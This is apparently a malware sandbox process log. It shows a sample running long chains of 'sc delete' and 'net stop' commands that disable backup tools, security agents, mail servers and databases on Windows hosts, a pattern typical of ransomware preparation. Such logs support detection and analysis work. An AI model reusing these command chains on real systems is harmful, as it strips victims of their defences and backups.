C:\Windows\SysWOW64\sc.exe
sc delete YunService
4⤵
PID:2904

C:\Windows\SysWOW64\sc.exe
sc delete Serv-U
4⤵
PID:1980

C:\Windows\SysWOW64\sc.exe
sc delete "EasyFZS Server"
4⤵
PID:3012

C:\Windows\SysWOW64\sc.exe
sc delete "Rpc Monitor"
4⤵
PID:2984

C:\Windows\SysWOW64\sc.exe
sc delete OpenFastAssist
4⤵
PID:2924

C:\Windows\SysWOW64\sc.exe
sc delete "Nuo Update Monitor"
4⤵
PID:3008

C:\Windows\SysWOW64\sc.exe
sc delete "Daemon Service"
4⤵
PID:2000

C:\Windows\SysWOW64\sc.exe
sc delete asComSvc
4⤵
PID:688

C:\Windows\SysWOW64\sc.exe
sc delete OfficeUpdateService
4⤵
PID:2928

C:\Windows\SysWOW64\sc.exe
sc delete RtcSrv
4⤵
PID:1076

C:\Windows\SysWOW64\sc.exe
sc delete RTCASMCU
4⤵
PID:2848

C:\Windows\SysWOW64\sc.exe
sc delete FTA
4⤵
PID:2252

C:\Windows\SysWOW64\sc.exe
sc delete MASTER
4⤵
PID:2352

C:\Windows\SysWOW64\sc.exe
sc delete NscAuthService
4⤵
PID:2548

C:\Windows\SysWOW64\sc.exe
sc delete MSCRMUnzipService
4⤵
PID:2980

C:\Windows\SysWOW64\sc.exe
sc delete MSCRMAsyncService$maintenance
4⤵
PID:2920

C:\Windows\SysWOW64\cmd.exe
cmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"
3⤵
PID:1208

C:\Windows\SysWOW64\net.exe
net stop U8WorkerService1
4⤵
PID:2476

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop U8WorkerService1
5⤵
PID:2640

C:\Windows\SysWOW64\net.exe
net stop U8WorkerService2
4⤵
PID:2440

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop U8WorkerService2
5⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop "memcached Server"
4⤵
PID:2764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "memcached Server"
5⤵
PID:2436

C:\Windows\SysWOW64\net.exe
net stop Apache2.4
4⤵
PID:668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Apache2.4
5⤵
PID:2912

C:\Windows\SysWOW64\net.exe
net stop UFIDAWebService
4⤵
PID:2976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UFIDAWebService
5⤵
PID:2860

C:\Windows\SysWOW64\net.exe
net stop MSComplianceAudit
4⤵
PID:2388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSComplianceAudit
5⤵
PID:2924

C:\Windows\SysWOW64\net.exe
net stop MSExchangeADTopology
4⤵
PID:2472

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeADTopology
5⤵
PID:2900

C:\Windows\SysWOW64\net.exe
net stop MSExchangeAntispamUpdate
4⤵
PID:2568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeAntispamUpdate
5⤵
PID:2904

C:\Windows\SysWOW64\net.exe
net stop MSExchangeCompliance
4⤵
PID:2968

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeCompliance
5⤵
PID:1152

C:\Windows\SysWOW64\net.exe
net stop MSExchangeDagMgmt
4⤵
PID:2728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeDagMgmt
5⤵
PID:2764

C:\Windows\SysWOW64\net.exe
net stop MSExchangeDelivery
4⤵
PID:2076

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeDelivery
5⤵
PID:2980

C:\Windows\SysWOW64\net.exe
net stop MSExchangeDiagnostics
4⤵
PID:2664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeDiagnostics
5⤵
PID:2244

C:\Windows\SysWOW64\net.exe
net stop MSExchangeEdgeSync
4⤵
PID:540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeEdgeSync
5⤵
PID:2780

C:\Windows\SysWOW64\net.exe
net stop MSExchangeFastSearch
4⤵
PID:2664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeFastSearch
5⤵
PID:2980

C:\Windows\SysWOW64\net.exe
net stop MSExchangeFrontEndTransport
4⤵
PID:2864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeFrontEndTransport
5⤵
PID:2900

C:\Windows\SysWOW64\net.exe
net stop MSExchangeHM
4⤵
PID:2468

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeHM
5⤵
PID:1688

C:\Windows\SysWOW64\net.exe
net stop MSSQL$SQL2008
4⤵
PID:3044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SQL2008
5⤵
PID:2016

C:\Windows\SysWOW64\net.exe
net stop MSExchangeHMRecovery
4⤵
PID:2760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeHMRecovery
5⤵
PID:2092

C:\Windows\SysWOW64\net.exe
net stop MSExchangeImap4
4⤵
PID:3020

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeImap4
5⤵
PID:2784

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIMAP4BE
4⤵
PID:3044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIMAP4BE
5⤵
PID:2576

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIS
4⤵
PID:2076

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS
5⤵
PID:2968

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMailboxAssistants
4⤵
PID:2244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMailboxAssistants
5⤵
PID:2988

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMailboxReplication
4⤵
PID:968

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMailboxReplication
5⤵
PID:2292

C:\Windows\SysWOW64\net.exe
net stop MSExchangeNotificationsBroker
4⤵
PID:2972

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeNotificationsBroker
5⤵
PID:2228

C:\Windows\SysWOW64\net.exe
net stop MSExchangePop3
4⤵
PID:1212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangePop3
5⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop MSExchangePOP3BE
4⤵
PID:3044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangePOP3BE
5⤵
PID:1920

C:\Windows\SysWOW64\net.exe
net stop MSExchangeRepl
4⤵
PID:2760

C:\Windows\SysWOW64\net.exe
net stop MSExchangeRPC
4⤵
PID:2480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeRPC
5⤵
PID:900

C:\Windows\SysWOW64\net.exe
net stop MSExchangeServiceHost
4⤵
PID:1748

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeServiceHost
5⤵
PID:3020

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSubmission
4⤵
PID:2928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSubmission
5⤵
PID:1600

C:\Windows\SysWOW64\net.exe
net stop MSExchangeThrottling
4⤵
PID:1376

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeThrottling
5⤵
PID:2108

C:\Windows\SysWOW64\net.exe
net stop MSExchangeTransport
4⤵
PID:1744

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeTransport
5⤵
PID:2128

C:\Windows\SysWOW64\net.exe
net stop MSExchangeTransportLogSearch
4⤵
PID:1592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeTransportLogSearch
5⤵
PID:2444

C:\Windows\SysWOW64\net.exe
net stop MSExchangeUM
4⤵
PID:2704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeUM
5⤵
PID:520

C:\Windows\SysWOW64\net.exe
net stop MSExchangeUMCR
4⤵
PID:1704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeUMCR
5⤵
PID:288

C:\Windows\SysWOW64\net.exe
net stop MySQL5_OA
4⤵
PID:3036

C:\Windows\SysWOW64\cmd.exe
cmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""
3⤵
PID:2264

C:\Windows\SysWOW64\net.exe
net stop VMwareHostd
4⤵
PID:2920

C:\Windows\SysWOW64\net.exe
net stop VMUSBArbService
4⤵
PID:2096

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VMUSBArbService
5⤵
PID:2352

C:\Windows\SysWOW64\net.exe
net stop TeamViewer8
4⤵
- Discovers systems in the same network
PID:3048

C:\Windows\SysWOW64\net.exe
net stop UIODetect
4⤵
PID:2772

C:\Windows\SysWOW64\net.exe
net stop VMAuthdService
4⤵
PID:2992

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VMAuthdService
5⤵
PID:2904

C:\Windows\SysWOW64\net.exe
net stop wanxiao-monitor
4⤵
PID:2988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wanxiao-monitor
5⤵
PID:2640

C:\Windows\SysWOW64\net.exe
net stop WebAttendServer
4⤵
PID:2868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WebAttendServer
5⤵
PID:2780

C:\Windows\SysWOW64\net.exe
net stop mysqltransport
4⤵
PID:2300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mysqltransport
5⤵
PID:688

C:\Windows\SysWOW64\net.exe
net stop VMnetDHCP
4⤵
PID:2068

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VMnetDHCP
5⤵
PID:3012

C:\Windows\SysWOW64\net.exe
net stop "VMware NAT Service"
4⤵
PID:2352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VMware NAT Service"
5⤵
PID:2704

C:\Windows\SysWOW64\net.exe
net stop Tomcat8
4⤵
PID:1896

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Tomcat8
5⤵
PID:2144

C:\Windows\SysWOW64\net.exe
net stop TeamViewer
4⤵
- Discovers systems in the same network
PID:2752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TeamViewer
5⤵
PID:2788

C:\Windows\SysWOW64\net.exe
net stop QPCore
4⤵
PID:2988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QPCore
5⤵
PID:2052

C:\Windows\SysWOW64\net.exe
net stop CASLicenceServer
4⤵
PID:2196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASLicenceServer
5⤵
PID:688

C:\Windows\SysWOW64\net.exe
net stop CASWebServer
4⤵
PID:752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASWebServer
5⤵
PID:2868

C:\Windows\SysWOW64\net.exe
net stop AutoUpdateService
4⤵
PID:1984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AutoUpdateService
5⤵
PID:1900

C:\Windows\SysWOW64\net.exe
net stop "Alibaba Security Aegis Detect Service"
4⤵
PID:3052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"
5⤵
PID:1512

C:\Windows\SysWOW64\net.exe
net stop "Alibaba Security Aegis Update Service"
4⤵
PID:2072

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"
5⤵
PID:2516

C:\Windows\SysWOW64\net.exe
net stop "AliyunService"
4⤵
PID:3012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "AliyunService"
5⤵
PID:2996

C:\Windows\SysWOW64\net.exe
net stop CASXMLService
4⤵
PID:2752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASXMLService
5⤵
PID:2108

C:\Windows\SysWOW64\net.exe
net stop AGSService
4⤵
PID:2728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AGSService
5⤵
PID:2716

C:\Windows\SysWOW64\net.exe
net stop RapService
4⤵
PID:2516

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RapService
5⤵
PID:2988

C:\Windows\SysWOW64\net.exe
net stop DDNSService
4⤵
PID:900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DDNSService
5⤵
PID:1984

C:\Windows\SysWOW64\net.exe
net stop iNethinkSQLBackupSvc
4⤵
PID:2128

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop iNethinkSQLBackupSvc
5⤵
PID:1920

C:\Windows\SysWOW64\net.exe
net stop CASVirtualDiskService
4⤵
PID:2784

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASVirtualDiskService
5⤵
PID:2032

C:\Windows\SysWOW64\net.exe
net stop CASMsgSrv
4⤵
PID:520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASMsgSrv
5⤵
PID:2788

C:\Windows\SysWOW64\net.exe
net stop "OracleOraDb10g_homeliSQL*Plus"
4⤵
PID:2220

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "OracleOraDb10g_homeliSQL*Plus"
5⤵
PID:2800

C:\Windows\SysWOW64\net.exe
net stop OracleDBConsoleilas
4⤵
PID:3004

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleDBConsoleilas
5⤵
PID:2132

C:\Windows\SysWOW64\net.exe
net stop MySQL
4⤵
PID:2428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL
5⤵
PID:3012

C:\Windows\SysWOW64\net.exe
net stop TPlusStdAppService1220
4⤵
PID:2308

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TPlusStdAppService1220
5⤵
PID:2092

C:\Windows\SysWOW64\net.exe
net stop TPlusStdTaskService1220
4⤵
PID:2032

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TPlusStdTaskService1220
5⤵
PID:2488

C:\Windows\SysWOW64\net.exe
net stop TPlusStdUpgradeService1220
4⤵
PID:2848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TPlusStdUpgradeService1220
5⤵
PID:1784

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ceng_web_svc_d
6⤵
PID:2796

C:\Windows\SysWOW64\net.exe
net stop K3MobileServiceManage
4⤵
PID:2792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop K3MobileServiceManage
5⤵
PID:2352

C:\Windows\SysWOW64\net.exe
net stop "FileZilla Server"
4⤵
PID:2980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "FileZilla Server"
5⤵
PID:2364

C:\Windows\SysWOW64\net.exe
net stop DDVRulesProcessor
4⤵
PID:2992

C:\Windows\SysWOW64\net.exe
net stop ImtsEventSvr
4⤵
PID:1640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ImtsEventSvr
5⤵
PID:1656

C:\Windows\SysWOW64\net.exe
net stop AutoUpdatePatchService
4⤵
PID:2056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AutoUpdatePatchService
5⤵
PID:2900

C:\Windows\SysWOW64\net.exe
net stop OMAILREPORT
4⤵
PID:1588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OMAILREPORT
5⤵
PID:1660

C:\Windows\SysWOW64\net.exe
net stop "Dell Hardware Support"
4⤵
PID:1212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Dell Hardware Support"
5⤵
PID:2180

C:\Windows\SysWOW64\net.exe
net stop SupportAssistAgent
4⤵
PID:1016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SupportAssistAgent
5⤵
PID:3020

C:\Windows\SysWOW64\net.exe
net stop K3MMainSuspendService
4⤵
PID:1968

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop K3MMainSuspendService
5⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop KpService
4⤵
PID:2156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KpService
5⤵
PID:1340

C:\Windows\SysWOW64\net.exe
net stop ceng_web_svc_d
4⤵
PID:1784

C:\Windows\SysWOW64\net.exe
net stop KugouService
4⤵
PID:1504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KugouService
5⤵
PID:752

C:\Windows\SysWOW64\net.exe
net stop pcas
4⤵
PID:2388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop pcas
5⤵
PID:2172

C:\Windows\SysWOW64\net.exe
net stop U8SendMailAdmin
4⤵
PID:1656

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop U8SendMailAdmin
5⤵
PID:632

C:\Windows\SysWOW64\net.exe
net stop "Bonjour Service"
4⤵
PID:980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Bonjour Service"
5⤵
PID:1388

C:\Windows\SysWOW64\net.exe
net stop "Apple Mobile Device Service"
4⤵
PID:2520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Apple Mobile Device Service"
5⤵
PID:1740

C:\Windows\SysWOW64\net.exe
net stop "ABBYY.Licensing.FineReader.Professional.12.0"
4⤵
PID:1980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ABBYY.Licensing.FineReader.Professional.12.0"
5⤵
PID:2816

C:\Windows\SysWOW64\cmd.exe
cmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"
3⤵
PID:2208

C:\Windows\SysWOW64\net.exe
net stop HaoZipSvc
4⤵
PID:2512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop HaoZipSvc
5⤵
PID:2652

C:\Windows\SysWOW64\net.exe
net stop "igfxCUIService2.0.0.0"
4⤵
PID:2224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"
5⤵
PID:2640

C:\Windows\SysWOW64\net.exe
net stop Realtek11nSU
4⤵
PID:2800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Realtek11nSU
5⤵
PID:1488

C:\Windows\SysWOW64\net.exe
net stop xenlite
4⤵
PID:2252

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop xenlite
5⤵
PID:1712

C:\Windows\SysWOW64\net.exe
net stop XenSvc
4⤵
PID:3000

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop XenSvc
5⤵
PID:2480

C:\Windows\SysWOW64\net.exe
net stop Apache2.2
4⤵
PID:1712

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Apache2.2
5⤵
PID:2940

C:\Windows\SysWOW64\net.exe
net stop "Synology Drive VSS Service x64"
4⤵
PID:2432

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Synology Drive VSS Service x64"
5⤵
PID:2664

C:\Windows\SysWOW64\net.exe
net stop DellDRLogSvc
4⤵
PID:540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DellDRLogSvc
5⤵
PID:2468

C:\Windows\SysWOW64\net.exe
net stop FirebirdGuardianDeafaultInstance
4⤵
PID:2956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance
5⤵
PID:2768

C:\Windows\SysWOW64\net.exe
net stop JWEM3DBAUTORun
4⤵
PID:2904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop JWEM3DBAUTORun
5⤵
PID:2920

C:\Windows\SysWOW64\net.exe
net stop JWRinfoClientService
4⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop JWRinfoClientService
5⤵
PID:2272

C:\Windows\SysWOW64\net.exe
net stop JWService
4⤵
PID:1104

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop JWService
5⤵
PID:2852

C:\Windows\SysWOW64\net.exe
net stop Service2
4⤵
PID:2836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Service2
5⤵
PID:2000

C:\Windows\SysWOW64\net.exe
net stop RapidRecoveryAgent
4⤵
PID:2716

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RapidRecoveryAgent
5⤵
PID:2544

C:\Windows\SysWOW64\net.exe
net stop FirebirdServerDefaultInstance
4⤵
PID:1532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FirebirdServerDefaultInstance
5⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop AdobeARMservice
4⤵
PID:1968

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AdobeARMservice
5⤵
PID:2484

C:\Windows\SysWOW64\net.exe
net stop VeeamCatalogSvc
4⤵
PID:1628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc
5⤵
PID:2992

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DDVRulesProcessor
6⤵
PID:2460

C:\Windows\SysWOW64\net.exe
net stop VeeanBackupSvc
4⤵
PID:1900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeanBackupSvc
5⤵
PID:3044

C:\Windows\SysWOW64\net.exe
net stop VeeamTransportSvc
4⤵
PID:2720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc
5⤵
PID:2768

C:\Windows\SysWOW64\net.exe
net stop TPlusStdAppService1300
4⤵
PID:2432

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TPlusStdAppService1300
5⤵
PID:2844

C:\Windows\SysWOW64\net.exe
net stop TPlusStdTaskService1300
4⤵
PID:2996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TPlusStdTaskService1300
5⤵
PID:2332

C:\Windows\SysWOW64\net.exe
net stop TPlusStdUpgradeService1300
4⤵
PID:1564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TPlusStdUpgradeService1300
5⤵
PID:2796

C:\Windows\SysWOW64\net.exe
net stop TPlusStdWebService1300
4⤵
PID:2456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TPlusStdWebService1300
5⤵
PID:2936

C:\Windows\SysWOW64\net.exe
net stop VeeamNFSSvc
4⤵
PID:2868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc
5⤵
PID:1896

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploySvc
4⤵
PID:2272

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc
5⤵
PID:784

C:\Windows\SysWOW64\net.exe
net stop VeeamCloudSvc
4⤵
PID:2920

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCloudSvc
5⤵
PID:2068

C:\Windows\SysWOW64\net.exe
net stop VeeamMountSvc
4⤵
PID:2576

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamMountSvc
5⤵
PID:2052

C:\Windows\SysWOW64\net.exe
net stop VeeamBrokerSvc
4⤵
PID:2520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc
5⤵
PID:1388

C:\Windows\SysWOW64\net.exe
net stop VeeamDistributionSvc
4⤵
PID:3000

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDistributionSvc
5⤵
PID:2020

C:\Windows\SysWOW64\net.exe
net stop tmlisten
4⤵
PID:916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop tmlisten
5⤵
PID:2300

C:\Windows\SysWOW64\net.exe
net stop ServiceMid
4⤵
PID:2120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ServiceMid
5⤵
PID:2952

C:\Windows\SysWOW64\net.exe
net stop 360EntPGSvc
4⤵
PID:2944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop 360EntPGSvc
5⤵
PID:2072

C:\Windows\SysWOW64\net.exe
net stop ClickToRunSvc
4⤵
PID:1436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ClickToRunSvc
5⤵
PID:1564

C:\Windows\SysWOW64\net.exe
net stop RavTask
4⤵
PID:2044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RavTask
5⤵
PID:1540

C:\Windows\SysWOW64\net.exe
net stop AngelOfDeath
4⤵
PID:668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AngelOfDeath
5⤵
PID:2760

C:\Windows\SysWOW64\net.exe
net stop d_safe
4⤵
PID:2716

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop d_safe
5⤵
PID:2472

C:\Windows\SysWOW64\net.exe
net stop NFLicenceServer
4⤵
PID:1592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NFLicenceServer
5⤵
PID:1824

C:\Windows\SysWOW64\net.exe
net stop "NetVault Process Manager"
4⤵
PID:1688

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "NetVault Process Manager"
5⤵
PID:540

C:\Windows\SysWOW64\net.exe
net stop RavService
